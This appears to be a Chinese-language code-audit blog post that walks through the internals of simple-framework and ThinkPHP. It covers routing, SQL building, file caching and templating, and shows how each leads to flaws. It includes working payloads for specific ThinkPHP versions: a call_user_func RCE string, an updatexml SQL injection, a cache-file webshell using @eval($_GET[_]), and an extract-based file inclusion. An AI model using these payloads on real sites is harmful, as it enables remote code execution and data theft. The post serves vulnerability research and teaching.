前几天看到某大牛对 PbootCMS 的代码审计,突然明白了底层逻辑对 cms 审计的重要性
开发者自写的框架的审计一般是 框架实现->调用地点, simple-framework 是一个简单的框架实现, 如果仅关注框架实现,它是一个很好的选择.,本文以 simple-framework 和 thinphp 为例,重点关注框架的底层实现可能产生的问题
现在的 php 框架,一般都是单一入口
define('SF_PATH',dirname(__DIR__));require_once(SF_PATH.'/src/Sf.php');require_once(__DIR__ . '/../vendor/autoload.php');ini_set("display_errors", "On");error_reporting(E_ALL | E_STRICT);$application = new \sf\web\Application();$application->run();
加载基础文件后,引入自动加载机制,调用框架类,处理请求并发送响应
那么框架类都要做什么?
框架类会将请求封装成 Resquest 对象,并且解析路由,调用对应的 controller 处理,然后返回 Response 对象,并且框架会提供一些辅助工具, 如 缓存, 模板, model 。
接下来,就看看框架在进行相应出来时可能会产生什么问题.
$router = $_GET['r'];list($controllerName, $actionName) = explode('/',$router);$ucController = ucfirst($controllerName);$controllerNameAll = 'app\\controllers\\'.$ucController.'Controller';$controller = new $controllerNameAll();$controller ->id = $controllerName;$controller -> action = $actionName;return call_user_func([$controller,'action'.ucfirst($actionName)]);
框架类对控制器的调用是通过 call_user_func 实现的,如果对控制器和方法没有做好校验,就可能导致任意方法调用,进而导致代码执行,thinphp 两个 rce 漏洞都和这个相关
// ./thinkphp/library/think/route/Dispatch.php public function exec(){
... // 实例化控制器 $instance = $this->app->controller($this->controller, ... $action = $this->actionName . $this->rule->getConfig('action_suffix'); .... $reflect = new ReflectionMethod($instance, $action); $methodName = $reflect->getName(); ... $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName; // 自动获取请求变量 $vars = $this->rule->getConfig('url_param_type') ? $this->request->route() : $this->request->param(); $vars = array_merge($vars, $this->param); .... $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
类比 simple-framework 框架, thinphp 要做的也是获取控制器名,方法名,和参数,然后利用类似call_user_func
进行执行.这样很会导致调用 任意类的任意方法.
thinphp 使用反射机制来实现控制器调用
$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
如果没有开启强制路由,传入
?s=index/\think\Request/input&filter[]=system&data=pwd
此时 $this->controller
为 \think\Request,\$this->actionName
为 input, 最终调用了 request 对象下了 input 方法, input 方法为了支持自定义过滤器存在 call_user_func
函数,最终导致代码执行
Model 类的作用是映射数据库表,进行增删改查操作,并且返回 Model 对象,
Model 对象是把数据库指定表中的一行数据映射,并有增删改查的操作方法(利用主键,构造 where,还是调用 Model 类的方法实现).
model 模型会实例化一个数据库连接对象,进行数据库操作
public static function updateAll($condition, $attributes){
$sql = 'update '. static::tableName(); $params = []; if(!empty($attributes)){
$sql .= ' set '; $params = array_values($attributes); $keys = []; foreach($attributes as $key => $value){
array_push($keys, "$key = ?"); } $sql .= implode(' , ', $keys); } list($where, $param) = static::buildWhere($condition); $sql .= $where; // array_push($params, $param[0]); $params =array_merge($params, $param); $stmt = static::getDb()->prepare($sql); $execResult = $stmt->execute($params); if ($execResult){
$execResult = $stmt->rowCount(); } return $execResult; }
以 update 的实现为例, 代码的大体逻辑是将 update 的 set 部分拼接好然后调用增删改查都可用的 buildwhere, 构造 where 语句, 然后进行 sql 执行。
可见,在底层既有 key 的拼接,又有 value 的拼接,如果没有做好过滤,很容易产生 sql 注入,尤其是很多开发者为了扩建功能,提供一些新的支持,也会导致各种各样的问题,
虽然这个底层用了预编译,可能利用价值不高
版本5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5
//控制器设置$username = request()->get('username/a');db('users')->insert(['username' => $username]);return 'Update success';//payloadindex?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
对应 simple-framework 框架, thinkphp 的 db/Query
类下的 insert 实现要做的也是, 构建 sql 语句,然后预编译执行
// library/db/Query// 删除了部分不必要代码 public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null){
// 分析查询表达式 $options = $this->parseExpress(); $data = array_merge($options['data'], $data); // 生成SQL语句 $sql = $this->builder->insert($data, $options, $replace); // 获取参数绑定 $bind = $this->getBind(); // 执行操作 $result = 0 === $sql ? 0 : $this->execute($sql, $bind); return $result;
thinphp 前面对表达式进行了分析,不过不影响我们的 payload
我们跟进$this->builder->insert($data, $options, $replace);
,看语句是怎么构建的
$data = $this->parseData($data, $options); $fields = array_keys($data); $values = array_values($data); $sql = str_replace( ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'], [ $replace ? 'REPLACE' : 'INSERT', $this->parseTable($options['table'], $options), implode(' , ', $fields), implode(' , ', $values), $this->parseComment($options['comment']), ], $this->insertSql); // $this->insertSql=%INSERT% INTO %TABLE% (%FIELD%) VALUES (%DATA%) %COMMENT% return $sql; }
可以看到,先解析要插入的数据,然后替换模板进行插入,我们跟进 parseData 方法
foreach ($data as $key => $val) {
} elseif (is_array($val) && !empty($val)) {
switch ($val[0]) {
case 'exp': $result[$item] = $val[1]; break; case 'inc': $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]); break; case 'dec': $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]); break; }
在 parseData, thinphp 为 insert 数组的插入提供了额外的支持, 如果数组的第一个字段是 exp,则直接执行第二个字段的 sql 语句,
在 thinkphp3 的时候,全局没有过滤 exp 也曾出过注入漏洞, 现在 thinphp 默认会将外部输入的数组中的 exp 后面加一个空格,所以这里匹配不到
但这里的 inc, 全局没有过滤,而又直接拼接了 $val[1]
和 $val[2]
导致注入漏洞的产生,
这个地方在 5.1.6<=ThinkPHP<=5.1.7
, 因为新增了默认处理, 还出过 update 注入
因为框架要扩展各种各样的函数,会出现各种复杂的情况,很容易导致注入漏洞的产生.
1、order by 字段
因为传入的是表名,导致一般单引号,双引号的防御失效, 参考 5.1.16<=ThinkPHP5<=5.1.22, order by 方法注入
2、聚合函数
还是反引号的问题,参考 5.0.0<=ThinkPHP<=5.0.21, 5.1.3<=ThinkPHP5<=5.1.25 聚会函数注入
3、开发者扩展的新功能
insert 支持二维数组插入多条数据,而全局过滤没有过滤 key 导致利用 key 进行注入,参考 PbootCMS
4、还有数组未过滤 key,然后拼接到 buildwhere 语句的字段名导致注入
interface CacheInterface{
public function buildKey($key); public function get($key); public function exists($key); public function mget($keys); public function set($key, $value,$duration = 0); public function mset($items, $duration = 0); public function add($key, $value, $duration = 0); public function madd($items, $duration = 0); public function delete($key); public function flush();}
缓存组件,一般在扩展的组件中
会提供类似 set 和 get 方法,将想要缓存的数据写入文件或数据库,方便下次读取
如果使用文件驱动类,一般的操作是利用 $key 构建文件名, 然后放在 runtime 目录,如果网站是直接安装的根目录的,那么 runtime 目录是可以直接访问的有些框架为了防止用户直接访问到缓存数据,将文件名设置为 xx.php, 则可能导致 rce
set 方法会构建文件名,失效时间,然后把数据存入文件
public function set($key, $value, $duration = 0){
$key = $this->buildKey($key);$cacheFile = $this->cachePath.$key;$value = serialize($value);if(@file_put_contents($cacheFile,$value,LOCK_EX)!==false){
if($duration<=0){
$duration = 31536000;}# 用修改时间,标志缓存结束时间return touch($cacheFile,$duration+time());}}
5.0.0<=ThinkPHP5<=5.0.10 缓存文件 getshell
//控制器,需要创建对应模板use think\Cache; Cache::set("name",input("get.username")); return 'Cache success';// payloadindex/?username=wendell123%0d%0a@eval($_GET[_]);//
在 thinphp 的 Cache 类的 set 中,先通过单例模式 init 方法,创建一个实例, 默认为 file,
既调用think\cache\driver\File
的 set 方法
public static function set($name, $value, $expire = null){
self::$writeTimes++;return self::init()->set($name, $value, $expire);}
跟一下
public function set($name, $value, $expire = null){
if (is_null($expire)) {
$expire = $this->options['expire']; } if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time(); } $filename = $this->getCacheKey($name, true); if ($this->tag && !is_file($filename)) {
$first = true; } $data = serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩 $data = gzcompress($data, 3); } $data = "\n" . $data; $result = file_put_contents($filename, $data); if ($result) {
isset($first) && $this->setTagItem($filename); clearstatcache(); return true; } else {
return false; } }
虽然代码很多,类比 simple-framework 的实现,它要做的还是设置失效时间,然后将数据序列化,最后存入文件中,重点是这里
$data = "\n" . $data;
可以看到 thinphp 是将数据写在 // 后,只要利用换行绕过,写入文件后,即可 getshell.
public function compile($file = null,$params = []){
$path = '../views/'.$file.'.sf'; extract($params); if(!$this->isExpired($path)){
$compiled = $this->getComiledPath($path); require_once $compiled; }
控制器,调用模板的渲染方法,并且传入数据,最后返回 html 结果.
php 模板的实现方式一般为,将模板中的 { {name}} 替换为对应的 php 代码,如
并且对文件进行缓存,下次使用时,判断缓存不过期便,直接读取,并把用户传入变量用 extract 扩展到全局,然后进行包含操作,输出内容
在 extract($params)
,可能会有变量覆盖,进而导致任意文件包含
//控制器,需要创建对应模板$this->assign(request()->get()); return $this->fetch();// payloadindex/index/index?cacheFile=evil.php
在 Template 的实现部分
public function fetch($template, $vars = [], $config = []){
if ($vars) {
$this->data = $vars; } if ($config) {
$this->config($config); } if (!empty($this->config['cache_id']) && $this->config['display_cache']) {
// 读取渲染缓存 $cacheContent = Cache::get($this->config['cache_id']); if (false !== $cacheContent) {
echo $cacheContent; return; } } $template = $this->parseTemplateFile($template); if ($template) {
$cacheFile = $this->config['cache_path'] . $this->config['cache_prefix'] . md5($this->config['layout_name'] . $template) . '.' . ltrim($this->config['cache_suffix'], '.'); if (!$this->checkCache($cacheFile)) {
// 缓存无效 重新模板编译 $content = file_get_contents($template); $this->compiler($content, $cacheFile); } // 页面缓存 ob_start(); ob_implicit_flush(0); // 读取编译存储 $this->storage->read($cacheFile, $this->data); // 获取并清空缓存 $content = ob_get_clean(); if (!empty($this->config['cache_id']) && $this->config['display_cache']) {
// 缓存页面输出 Cache::set($this->config['cache_id'], $content, $this->config['cache_time']); } echo $content; }
上述代码也是相同的逻辑,重点看
$this->storage->read($cacheFile, $this->data);
模板文件的加载部分
public function read($cacheFile, $vars = []){
if (!empty($vars) && is_array($vars)) {
// 模板阵列变量分解成为独立变量 extract($vars, EXTR_OVERWRITE); } //载入模版缓存文件 include $cacheFile; }
可以看到,thinphp 在处理 vars,直接覆盖了变量,如果传入 $cachefile
,则导致任意文件包含
本文只是列一些框架的常见组件可能存在的问题,并没有很细致的进行分析,可能不全面,希望和师傅们一起学习,如果文章中出现了错误请师傅们指正.